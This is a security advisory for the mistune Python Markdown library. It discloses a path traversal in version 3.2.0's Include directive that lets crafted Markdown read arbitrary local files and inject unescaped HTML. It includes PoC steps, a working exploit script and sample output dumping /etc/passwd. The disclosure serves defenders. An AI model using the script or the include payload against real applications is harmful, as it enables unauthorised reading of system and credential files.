Skip to content

Arbitrary Local File Read via Include Directive

Moderate
lepture published GHSA-jhcm-5rpf-j3wv Jun 21, 2026

Package

pip mistune (pip)

Affected versions

3.2.0

Patched versions

3.3.0

Description

Summary

Mistune 3.2.0 is vulnerable to a conditional file disclosure issue in its opt-in Include directive. When an application enables RSTDirective([Include()]) and renders attacker-controlled Markdown files via Markdown.read(path), an attacker can use relative include paths such as .. include:: ../secret.txt to read parent/sibling files. Included non-Markdown content is then embedded into HTML without escaping, so included script-bearing text survives as a literal <script> tag in the output.

Details

The issue is in src/mistune/directives/include.py and depends on Markdown.read() setting state.env['__file__'] from the caller-supplied file path.

Relevant behavior:

  1. Markdown.read(path) seeds the current source file into the parse environment.
  2. Include.parse() reads the include target from the directive title.
  3. The target path is resolved as:
dest = os.path.join(os.path.dirname(source_file), relpath)
dest = os.path.normpath(dest)
  1. No root restriction or allowlist is applied before open(dest, 'rb').
  2. For non-Markdown files, the included bytes are emitted by:
def render_html_include(renderer, text, **attrs):
    return '<pre class="directive-include">\n' + text + "</pre>\n"

This means a malicious Markdown file can disclose files outside the current document directory, and if the included file contains HTML/script markup, that markup is preserved in the output.

PoC

  1. Choose a file to read.
  2. Create a Markdown file on disk, for example attacker.md.
  3. Put this line inside attacker.md:
    .. include:: /ur/file/to/read
  4. Configure Mistune with the Include directive enabled.
  5. Ask Mistune to render attacker.md by using Markdown.read("attacker.md"), not by passing the text directly as a string.
  6. While parsing the Markdown file, Mistune processes the .. include:: directive.
  7. Mistune opens /ur/file/to/read, reads its contents, and inserts those contents into the rendered output.
  8. The issue is confirmed if the final rendered output contains the contents of /ur/file/to/read.

Script

I created a script to do the exploit

import argparse
from pathlib import Path

import mistune
from mistune.directives import Include, RSTDirective


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--file", required=True, help="file to read via Include directive")
    parser.add_argument(
        "--markdown",
        default="attacker.md",
        help="markdown file to create in the current directory (default: attacker.md)",
    )
    args = parser.parse_args()

    target = str(Path(args.file).resolve())
    attacker = Path.cwd() / args.markdown
    attacker.write_text(f".. include:: {target}\n", encoding="utf-8")

    md = mistune.create_markdown(plugins=[RSTDirective([Include()])])  # type: ignore[arg-type]
    print(md.read(str(attacker))[0])


if __name__ == "__main__":
    main()

Example Usage:

(dllm) dllm@dllm:~/Downloads/penis$ python poc.py --file /etc/passwd
<pre class="directive-include">
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
syslog:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:991:991:systemd Resolver:/:/usr/sbin/nologin
uuidd:x:103:103::/run/uuidd:/usr/sbin/nologin
usbmux:x:104:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
tss:x:105:105:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-oom:x:990:990:systemd Userspace OOM Killer:/:/usr/sbin/nologin
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
whoopsie:x:107:109::/nonexistent:/bin/false
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
avahi:x:108:111:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
tcpdump:x:109:112::/nonexistent:/usr/sbin/nologin
sssd:x:110:113:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
cups-pk-helper:x:112:114:user for cups-pk-helper service,,,:/nonexistent:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
saned:x:113:116::/var/lib/saned:/usr/sbin/nologin
geoclue:x:114:117::/var/lib/geoclue:/usr/sbin/nologin
cups-browsed:x:115:114::/nonexistent:/usr/sbin/nologin
hplip:x:116:7:HPLIP system user,,,:/run/hplip:/bin/false
gnome-remote-desktop:x:988:988:GNOME Remote Desktop:/var/lib/gnome-remote-desktop:/usr/sbin/nologin
polkitd:x:987:987:User for polkitd:/:/usr/sbin/nologin
rtkit:x:117:119:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:118:120:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
gnome-initial-setup:x:119:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:120:121:Gnome Display Manager:/var/lib/gdm3:/bin/false
nm-openvpn:x:121:122:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
dllm:x:1000:1000:dllm:/home/dllm:/bin/bash
debian-tor:x:122:124::/var/lib/tor:/bin/false
snapd-range-524288-root:x:524288:524288::/nonexistent:/usr/bin/false
snap_daemon:x:584788:584788::/nonexistent:/usr/bin/false
</pre>

Impact

In applications that expose Include-enabled file rendering to untrusted users, an attacker can:

  1. read files relative to the uploaded/submitted Markdown file's location, including parent/sibling files; and
  2. embed active HTML/script from included non-Markdown files into the rendered output.

The primary impact is local file disclosure. A secondary impact is HTML/script injection into rendered pages when included files contain markup. The vulnerability is conditional on a risky integration pattern, but under that integration it is straightforward to exploit.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

CVE ID

No known CVE

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits